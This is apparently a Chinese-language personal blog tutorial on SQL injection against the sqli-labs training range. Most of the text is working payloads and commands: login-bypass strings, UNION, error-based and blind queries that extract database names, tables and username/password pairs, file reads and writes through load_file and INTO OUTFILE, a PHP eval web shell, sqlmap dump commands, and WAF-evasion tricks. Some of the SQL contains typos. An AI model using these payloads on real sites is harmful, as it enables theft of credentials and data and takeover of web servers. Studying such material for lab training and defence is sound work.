SQL注入原理

语言分为解释型语言和编译型语言。解释性语言是一种在运行是开始解释的源代码,机器对该代码进行执行;而编译语言是在生成时就转换成机器指令。
在解释型语言中,如果程序和用户存在交互,用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户执行有可能存在恶意行为的代码。

登陆举例

登陆的SQL语句

select * from user where username = '用户输入的用户名' and password = '用户输入的密码'

用户输入的内容可被用户自行控制,例如可输入admin'or 1=1 --
这时,这个语句就会变成下方所示,后半部分被注释掉了,其中or 1=1 永远为真,--注释后边的内容不执行,因此SQL语句会返回user表中所有的内容

select * from user where username = ''or 1=1 --' and password ='用户输入的密码'

这里给出一些万能密码,自己百度就可以https://blog.csdn.net/qq_36512966/article/details/72674794
可以自己创建一个字典,然后使用Burpsuit进行攻击

CMS的SQL注入

CMS逻辑,index.php首页展示内容,具有文章列表(链接具有文章ID)、articles.php文章详细页,URL中article.php?id=文章id读取id文章。
具体例子如下图所示,更改ID序号可以进行访问数据库的查询。

案例

SQL注入验证,如果报错或不进行显示,则存在漏洞

  1. 单引号'
  2. and 1=1
  3. and 1=2

案例

相关基础知识点

在Mysql5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库表)tables(表名)columns(列名或字段名)

  • 在schemata表中,schema_name字段用来存储数据库名
  • 在tables表中,table_schema和table_name分别用来存储数据库名和表名。
  • 在columns表中,table_schema(数据库名),table_name(表名),columns_name(字段名)

利用Navicat for MySQL查看结构

  • SSELECT * FROM 表名称 WHERE 字段1 = '条件1'
  • INSERT INTO table name (列1,列2) VALUES (值1,值2)
  • UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
  • DELETE 表名称 FROM 列名称 WHERE 列名称 = 某值

常用的聚合函数

  • SELECT user();查看当前使用的用户名
  • SELECT database();查看当前使用的数据库名称
  • SELECT version();查看当前数据库版本

示例

扩展limit关键字,控制/限制查询的,可以说使用limit分页。

  • select * form admin limit 2,2;这个的计算规则带0,自己注意一下。

注释符

  • #或者-- 或者/**/这里的第二个后面有个空格,需要注意一下。
  • 内联注释:/*!SQL语句*/只有MySQL可以识别,常用来绕过WAF

例子:select *from articles where id = id
使用内联注释注入:select form articles where id = -1 /!union//!select*/1,2,3,4
这里需要注意浏览器是不是转译了你的字符,自己URL编码一下。

计算机准备

火狐浏览器准备,下面都是一些需要安装的插件

  • FoxyProxy——端口代理插件
  • http header live——查看每次访问的请求信息
  • tamper data for FF Quantum
  • hackbar——这个大家都知道

SQLmap安装

  • 这个就不多说了,自己百度搜一下官网就行。

sqli-labs-master靶场搭建

图片

安装

基于GET报错的SQL注入

SQL注入的分类:数字型和字符型。

  • 数字型:select * from table where id = 用户输入id
  • 通过在URL中修改对应的ID值,为正常数字、大写数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否存在注入点。

第一题

第一题

输入ID=

单引号报错

这里比较重要的是注意,当输入一个单引号的时候发生了报错,由此我们可以逆向的进行推测其语句,因为前面当改变ID的时候出来的是用户名和密码,所以反推一下。

  • select username,password form admin where id = 'id' limit 0,1

第二题

一定要注意看发生报错的时候后面出现了几个单引号,这个很重要。第二题的报错如下,可以反推出来如下。

第二题

  • select username,password form admin where id = id'’ limit 0,1

第三题

第三题

这次多了个括号,所以应该是

  • select username,password form admin where id = ('ID') limit 0,1

验证我们推测的sql语句是否正确可以使用半闭合方式在浏览器里测试,其中的空格可以使用+号,或者%20来代替,如下图所示

  • id=1)--%20

验证是否正确

第四题

基于双引号报错的注入,这里测试的时候使用单引号,括号都不报错,是因为其使用了双引号,进行闭合,会被自动转换成1,如果将双引号使用反斜杠进行转译,就是正常的双引号,这里可以使用反斜杠和双引号。

第四题

  • select username,password form admin where id = ("ID") limit 0,1

基于GET报错的SQL注入利用

  1. 利用order by判断字段数
  2. 利用union select联合查询,获取表名
    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
  3. 利用union select联合查询,获取字段名
    union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
  4. 利用union select联合查询,获取字段值union select 1,group_concat(username,0x3a,password),3 from users--+

利用

变相的来说是观察我们所显示的字段,里面有位置是我们可以利用的,然后将该位置返回给我们需要的信息。
冒号的十六进制是0x3a

SQLmap探测

  • python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs --batch

sqlmap

SQLMap的具体使用会专门出一篇文章来讲的。

不再显示报错的盲注

Blind SQL盲注,是注入攻击的一种,向数据库发送flase或true这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。
盲注与常规注入很接近,不同的是数据库返回数据的检索方式,若数据库没有输出数据到web页面,攻击者会询问一些列的true或false问题,强制从数据库获取数据。

  • 基于布尔型盲注
  • 基于时间盲注

第八题

这里当ID=1或2的时候都是you are in 输入单引号或者反斜杠则没有回显

第八题

if(ascii(substr(database(),1,1)=115,1,sleep(3)))

当数据库名第一个字母的ascii码等于115时,执行一次sleep(3)函数等待三秒

第九题

这里利用上面发的语句http://192.168.163.135/Less-9/?id=1%27%20if(ascii(substr(database(),1,1))=115,1,sleep(3)))%20--+

第九题

第十题

同样的原理

第十题

GET基于Boolean的盲注

select length(database());
select substr(database),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1))>N;
select ascii(substr(database(),1,1))=N;
select ascii(substr(database(),1,1))<N;

这里构建语句如下

http://192.168.163.135/Less-8/?id=1' and length(database())=8 --+

这里是用第八题做的演示,在等于8的时候,有回显,而在等于其他数值的时候没有回显。

第八题Boolean演示

SQLmap利用第九题

sqlmap -u http://192.168.163.135/Less-9/?id=1 --technique T --dbs

sqlmap

sqlmap

MySQL数据库读写文件

MySQL数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(前提是权限足够)
读取前提:

  • 用户权限足够高,尽量拥有root权限
  • secure_file_priv不为null
show global variables like "secuer_file_priv"

就是说先把这个参数改掉,这个在我自己配置的宝塔环境里没有,需要手动添加

配置文件修改

查询结果

url读取文件

读取文件select load_file('/www/wwwroot/sqlilabs/1.txt');

读取文件

这里读取文件需要注意的是,其本身无法进行tab键补全,所以需要知道该文件的详细地址
接下来我们可以使用联合查询去读取文件,但是需要注意的是,联合查询需要报错才能输出
下面以第一题举例

  • 确定其封闭格式http://192.168.163.135/Less-1/?id=1 ' --+
http://192.168.163.135/Less-1/?id=-1' union select 1,load_file('/www/wwwroot/sqlilabs/1.txt'),3 --+

url读取文件

在这期间发现了一个很有意思的现象,使用hackbar的时候,发现直接复制粘贴或者写入,会出现非规则内报错,后来经过研究,应该是编码相关的问题。这是一个要点,需要注意一下,以后尽量使用现成的编码

问题

url写入文件

这里使用第七题做示例,具体的流程如下——闭合——设置语句——写入文件
这里查看源码可以发现,使用了两个括号一个单引号作为闭合,所以开始构造

http://192.168.163.135/Less-7/?id=1')) --+

源码

这里测试的是三,四的时候就出现报错了

http://192.168.163.135/Less-7/?id=1'))ordre by 3--+

闭合测试

下面这个语句按理说是没有毛病的,但是事实上没有成功,emmm,可能是权限调控问题

http://192.168.163.135/Less-7/?id=1'))+union+select+1,'<?phpinfo();?>',3+into+outfile+'\www\wwwroot\sqlilabs\2.txt'--+

经过研究,权限问题调整完成,需要按照如下方式进行权限调整了,但是……,调整完成后还是不成功,沃日……,这不科学

show variables like '%general%';
set global general_log = on;

权限调整

同等原理可以写入一句话木马,生成一个php即可,哈哈哈,然后使用中国菜刀连接即可

<?php@eval($_POST['x']);?>

SQLmap读取文件

默认的sqlmap -h是没有这方面的提示的,需要sqlmap -hh

sqlmap

使用sqlmap读取文件,语句如下,默认会直接把文件拉取下来,这里我们需要注意其路径

sqlmap -u "http://192.168.163.135/Less-7/?id=1" --file-read "/www/wwwroot/sqlilabs/1.txt"

读取文件

POST基于错误的注入

burpsuit抓取http信息

burpsuit是一款web安全测试的工具,需要用到java环境,kali默认自带,分为社区版和专业版,主要是破解线程的区别。

设置截断端口

设置代理

这里需要注意的是,首先burp默认的是http代理,并不是https,访问https需要证书的。这里放一个安装证书的教程,做的很好,我就不多浪费时间了https://blog.csdn.net/caicaiaicaicai/article/details/97767661

POST基于错误单引号注入

注入点的位置发生了变化,我们在浏览器中已经无法直接进行查看和修改,建议借助burpsuit来进行操作
这里以第十一题作为实例,我们可以看到,进行正常拦截之后,在admin,也就是用户名的位置加了一个反斜杠,然后即可看见回显报错

拦截

报错

这里我们可以推测出sql语句如下select username,password from admin where uname = 'xxxx' and password = 'xxxx';
这里如果我们使用了反斜杠\对其进行转译的话,那么其中后面的单引号就会失效,然后就会报错。
如下图所示,这时候就没有报错了,说明我们闭合成功了。

闭合语句

这时候使用图中的万能密码就可以登录了。

登录

下面这个是本题的源码,可以作为参考

源码

POST基于错误的双引号注入

十二题源代码如下

源码

跟上方题目的原理是一样的,只是闭合的方式不一样了。
这里根据报错推断,是双引号和括号来进行的闭合。

报错

然后进行合理的构造即可登录成功

登录成功

sqlmap进行POST注入

复制burpsuit阶段的http数据包到文本文件中,使用sqlmap -r 文件路径 -p 指定探测参数
流程:先将burp拦截的数据写入一个txt文件,然后让sqlmap去读取这个文件即可
相关语句如下

sqlmap -r 1.txt -p passwd --technique E --current-db
sqlmap -r 1.txt -p passwd --technique E -D security --tables
sqlmap -r 1.txt -p passwd --technique E -D security -T users --columns
sqlmap -r 1.txt -p passwd --technique E -D security -T users -C "username,password" --dump

查询数据库名称

查询数据库表名

查询列名

查询数据库详细信息

GET报错注入

报错注入是用来处理很多特殊情况,形式上是两个嵌套的循环,即select...(select...),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到几个sql函数:

  • rand()随机函数,返回0-1之间的某个值
  • floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
  • count()聚合函数也称作计数函数,返回查询对象的总数
  • group by clause分组语句,按照查询结果分组

通过报错来显示出具体的信息
查询的时候如果使用rand()的话,该值会被计算多次,在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会被再执行一次。在一次多记录的查询过程中

  • floor(rand(0)*2)的值是定性的,为011011
  • select count(*) from table group by floor(rand(0)*2);

GET单引号报错注入

这里以第五题为例

  • 获取数据库
?id=0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

结果截图

  • 获取表名
?id=0' union select 1,2,3 from (select count(*),concat((select concat(group_concat(table_name),0x3a,0x3a) from information_schema.tables where table_schema=database()limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

结果图片

  • 获取用户信息
?id=0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

结果图片

GET双引号报错注入

跟单引号差不多,就是在闭合的位置有一些地方不是很一样。

?id=0" union select count(*),0,concat(0x3a,0x3a,select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+

结果图片

这种构造很困难,建议用sqlmap

SQLmap安全测试

这个详细看单个工具的使用说明吧,未来会单出的,不过最近注入好像越来越不行了,emmm,看情况吧。

SQL注入绕过手段

大小写绕过

如果程序中编写了对应的过滤关键字,但是过滤过程中,并没有对关键字的字母进行深度的分析过滤,导致只是对整体进行过滤,就像下面这样

AnD 1=1

就是大小写的不同组合,sql读取的时候是不分大小写的,但是有些过滤机制只过滤了整体的小写。

双写绕过

如果程序中设置关键字之后替换为空,那么sql攻击也不会发生,对于这样的过滤策略可以使用双写绕过,相当于二次组合。

  • 例如过滤了union则可以写成uniunionon

编码绕过

利用网络中URL在线编码,绕过sql注入的检测机制

http://tool.chinaz.com/tools/urlencode.aspx

内联注释绕过

就是使用注释进行绕过

  • /*!select*/ * from admin;

POST基于时间与布尔盲注

POST发送数据给服务器处理,数据包包含HTTP信息正文中
POST请求会向指定资源提交数据,请求服务器进行处理,如:表单提交,文件上传,请求数据会被包含在请求体中。
POST方法可能会创建新的资源或修改现有资源
使用POST方法时,查询字符串在POST信息中单独存在,和HTTP请求一起发送到服务器

POST基于时间的盲注

在存在注入点POST提交的参数后加 and if (length(database())>5,sleep(5),null)
这里用第十五题作为例题
下面放的这个演示图右下角没有显示时间,应该是kali自带的社区版本没有这个功能,不过可以明显感觉到速度变慢,有等待的时间

POST时间盲注

通过时间差的判断来验证猜测

POST基于boolea的盲注

  • select length(database());
  • select substr(database()1,1);
  • select ascii(substr(database(),1,1));
  • select ascii(substr(database(),1,1))>N;
  • select ascii(substr(database(),1,1))=N;
  • select ascii(substr(database(),1,1))<N;

通过这种方法不断换数字可以猜测数据库的信息。

结果


下一个看2-5
下一个看2-6
下一个看2-8
下一个看2-9
下一个看2-10


Last modification:September 17th, 2020 at 09:27 pm
如果你觉得我的文章帮到你的话,不要白嫖,一毛两毛也是爱。